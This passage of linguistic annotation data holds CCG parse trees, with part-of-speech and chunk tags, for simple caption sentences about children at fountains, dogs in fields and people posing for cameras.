t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'edge', 'edge', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'fountain', 'fountain', 'NN', 'I-NP', 'O')))))))),
conj(s:dcl\s:dcl, s:dcl,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'an', 'an', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'older', 'older', 'JJR', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'watching', 'watch', 'VBG', 'I-VP', 'O'),
t(np, 'her', 'she', 'PRP', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(960,
rp(s:dcl,
ba(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'young', 'young', 'JJ', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'edge', 'edge', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'fountain', 'fountain', 'NN', 'I-NP', 'O')))))))),
conj(s:dcl\s:dcl, s:dcl,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'an', 'an', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'older', 'older', 'JJR', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'watching', 'watch', 'VBG', 'I-VP', 'O'),
t(np, 'her', 'she', 'PRP', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(961,
rp(s:dcl,
ba(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'young', 'young', 'JJ', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'edge', 'edge', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'fountain', 'fountain', 'NN', 'I-NP', 'O')))))))),
conj(s:dcl\s:dcl, s:dcl,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'an', 'an', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'older', 'older', 'JJR', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'watching', 'watch', 'VBG', 'I-VP', 'O'),
t(np, 'her', 'she', 'PRP', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(962,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'little', 'little', 'JJ', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O'))),
conj(np\np, np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
lx(np\np, s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'wearing', 'wear', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'yellow', 'yellow', 'JJ', 'I-NP', 'O'),
t(n, 'shirt', 'shirt', 'NN', 'I-NP', 'O')))))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'getting', 'get', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
t(s:pss\np, 'splashed', 'splash', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'city', 'city', 'NN', 'I-NP', 'O'),
t(n, 'fountain', 'fountain', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(963,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
ba(n/n,
t(n/n, 'black', 'black', 'JJ', 'I-NP', 'O'),
conj((n/n)\(n/n), n/n,
t(conj, 'and', 'and', 'CC', 'I-NP', 'O'),
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'))),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/np, 'with', 'with', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'large', 'large', 'JJ', 'I-NP', 'O'),
t(n, 'branch', 'branch', 'NN', 'I-NP', 'O'))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'standing', 'stand', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'field', 'field', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(964,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
ba(n/n,
t(n/n, 'black', 'black', 'JJ', 'I-NP', 'O'),
conj((n/n)\(n/n), n/n,
t(conj, 'and', 'and', 'CC', 'I-NP', 'O'),
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'))),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/np, 'with', 'with', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'large', 'large', 'JJ', 'I-NP', 'O'),
t(n, 'branch', 'branch', 'NN', 'I-NP', 'O'))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'running', 'run', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'field', 'field', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(965,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
ba(n/n,
t(n/n, 'black', 'black', 'JJ', 'I-NP', 'O'),
conj((n/n)\(n/n), n/n,
t(conj, 'and', 'and', 'CC', 'I-NP', 'O'),
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'))),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'carrying', 'carry', 'VBG', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'huge', 'huge', 'JJ', 'I-NP', 'O'),
t(n, 'stick', 'stick', 'NN', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'green', 'green', 'JJ', 'I-NP', 'O'),
t(n, 'grass', 'grass', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(966,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
ba(n/n,
t(n/n, 'black', 'black', 'JJ', 'I-NP', 'O'),
conj((n/n)\(n/n), n/n,
t(conj, 'and', 'and', 'CC', 'I-NP', 'O'),
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'))),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/np, 'with', 'with', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'large', 'large', 'JJ', 'I-NP', 'O'),
t(n, 'branch', 'branch', 'NN', 'I-NP', 'O'))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'running', 'run', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'field', 'field', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(967,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'boy', 'boy', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'running', 'run', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'through', 'through', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'sand', 'sand', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(968,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'boy', 'boy', 'NN', 'I-NP', 'O')),
lx(np\np, s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'wearing', 'wear', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'striped', 'striped', 'JJ', 'I-NP', 'O'),
t(n, 'shirt', 'shirt', 'NN', 'I-NP', 'O')))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'running', 'run', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'barefoot', 'barefoot', 'NN', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'sandy', 'sandy', 'NN', 'I-NP', 'O'),
t(n, 'hill', 'hill', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(969,
rp(s:dcl,
ba(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'Two', 'two', 'CD', 'I-NP', 'O'),
fa(n,
t(n/n, 'young', 'young', 'JJ', 'I-NP', 'O'),
t(n, 'boys', 'boy', 'NNS', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
fa(s:ng\np,
bxc((s:ng\np)/pp,
t((s:ng\np)/pp, 'looking', 'look', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'up', 'up', 'RP', 'I-PRT', 'O')),
fa(pp,
t(pp/np, 'at', 'at', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'camera', 'camera', 'NN', 'I-NP', 'O')))))),
conj(s:dcl\s:dcl, s:dcl,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
ba(s:dcl,
lx(np, n,
t(n, 'one', 'one', 'CD', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
bxc((s:ng\np)/np,
t((s:ng\np)/np, 'sticking', 'stick', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'out', 'out', 'RP', 'I-PRT', 'O')),
fa(np:nb,
t(np:nb/n, 'his', 'his', 'PRP$', 'I-NP', 'O'),
t(n, 'tongue', 'tongue', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(970,
rp(np,
ba(np,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'little', 'little', 'JJ', 'I-NP', 'O'),
t(n, 'boy', 'boy', 'NN', 'I-NP', 'O'))),
ba(np\np,
lx(np\np, s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'sticking', 'stick', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'his', 'his', 'PRP$', 'I-NP', 'O'),
t(n, 'tongue', 'tongue', 'NN', 'I-NP', 'O'))),
t((s:ng\np)\(s:ng\np), 'out', 'out', 'RP', 'I-PRT', 'O')),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'for', 'for', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'camera', 'camera', 'NN', 'I-NP', 'O')))))),
conj((np\np)\(np\np), np\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
lx(np\np, s:dcl/np,
fc(s:dcl/np,
tr(s:dcl/(s:dcl\np),
fa(np:nb,
t(np:nb/n, 'another', 'another', 'DT', 'I-NP', 'O'),
t(n, 'boy', 'boy', 'NN', 'I-NP', 'O'))),
fc((s:dcl\np)/np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fc((s:ng\np)/np,
t((s:ng\np)/pp, 'looking', 'look', 'VBG', 'I-VP', 'O'),
t(pp/np, 'on', 'on', 'IN', 'I-PRT', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(971,
rp(np,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'little', 'little', 'JJ', 'I-NP', 'O'),
t(n, 'boy', 'boy', 'NN', 'I-NP', 'O'))),
ba(np\np,
lx(np\np, s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'sticking', 'stick', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'his', 'his', 'PRP$', 'I-NP', 'O'),
t(n, 'tongue', 'tongue', 'NN', 'I-NP', 'O'))),
t((s:ng\np)\(s:ng\np), 'out', 'out', 'RP', 'I-PRT', 'O')),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'for', 'for', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'camera', 'camera', 'NN', 'I-NP', 'O')))))),
conj((np\np)\(np\np), np\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
lx(np\np, s:dcl/np,
fc(s:dcl/np,
tr(s:dcl/(s:dcl\np),
fa(np:nb,
t(np:nb/n, 'another', 'another', 'DT', 'I-NP', 'O'),
t(n, 'boy', 'boy', 'NN', 'I-NP', 'O'))),
fc((s:dcl\np)/np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fc((s:ng\np)/np,
t((s:ng\np)/pp, 'looking', 'look', 'VBG', 'I-VP', 'O'),
t(pp/np, 'on', 'on', 'IN', 'I-PRT', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(972,
rp(s:dcl,
ba(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'Two', 'two', 'CD', 'I-NP', 'O'),
t(n, 'kids', 'kid', 'NNS', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
fa(s:ng\np,
bxc((s:ng\np)/pp,
t((s:ng\np)/pp, 'looking', 'look', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'up', 'up', 'RP', 'I-PRT', 'O')),
fa(pp,
t(pp/np, 'at', 'at', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'camera', 'camera', 'NN', 'I-NP', 'O')))))),
conj(s:dcl\s:dcl, s:dcl,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
ba(s:dcl,
lx(np, n,
t(n, 'one', 'one', 'CD', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
bxc((s:ng\np)/np,
t((s:ng\np)/np, 'sticking', 'stick', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'out', 'out', 'RP', 'I-PRT', 'O')),
fa(np:nb,
t(np:nb/n, 'his', 'his', 'PRP$', 'I-NP', 'O'),
t(n, 'tongue', 'tongue', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(973,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'laughing', 'laugh', 'VBG', 'I-NP', 'O'),
t(n, 'child', 'child', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'holding', 'hold', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'water', 'water', 'NN', 'I-NP', 'O'),
t(n, 'gun', 'gun', 'NN', 'I-NP', 'O')))),
conj((s:ng\np)\(s:ng\np), s:ng\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'getting', 'get', 'VBG', 'I-VP', 'O'),
fa(s:pss\np,
t((s:pss\np)/pp, 'sprayed', 'spray', 'VBN', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'with', 'with', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'water', 'water', 'NN', 'I-NP', 'O'))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(974,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'blue', 'blue', 'JJ', 'I-NP', 'O'),
t(n, 'jacket', 'jacket', 'NN', 'I-NP', 'O'))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'jumping', 'jump', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'onto', 'onto', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'tall', 'tall', 'JJ', 'I-NP', 'O'),
fa(n,
t(n/n, 'cement', 'cement', 'NN', 'I-NP', 'O'),
t(n, 'wall', 'wall', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(975,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'slicing', 'slice', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'some', 'some', 'DT', 'I-NP', 'O'),
t(n, 'mushrooms', 'mushroom', 'NNS', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(976,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'elephant', 'elephant', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
t(s:pss\np, 'ridden', 'ride', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(977,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'Two', 'two', 'CD', 'I-NP', 'O'),
fa(n,
t(n/n, 'small', 'small', 'JJ', 'I-NP', 'O'),
t(n, 'children', 'child', 'NNS', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'with', 'with', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'toy', 'toy', 'NN', 'I-NP', 'O'),
t(n, 'car', 'car', 'NN', 'I-NP', 'O'))))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'street', 'street', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(978,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O')),
ba(s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'running', 'run', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'through', 'through', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'field', 'field', 'NN', 'I-NP', 'O'))))),
conj((s:dcl\np)\(s:dcl\np), s:dcl\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'chasing', 'chase', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'toy', 'toy', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(979,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'an', 'an', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'electric', 'electric', 'JJ', 'I-NP', 'O'),
t(n, 'guitar', 'guitar', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(980,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'group', 'group', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'people', 'people', 'NNS', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'holding', 'hold', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'drinks', 'drink', 'NNS', 'I-NP', 'O'))),
conj((s:ng\np)\(s:ng\np), s:ng\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:ng\np,
t((s:ng\np)/pp, 'pointing', 'point', 'VBG', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'at', 'at', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'camera', 'camera', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(981,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
lx(np, n,
ba(n,
t(n, 'gold', 'gold', 'NN', 'I-NP', 'O'),
conj(n\n, n,
t(conj, 'and', 'and', 'CC', 'I-NP', 'O'),
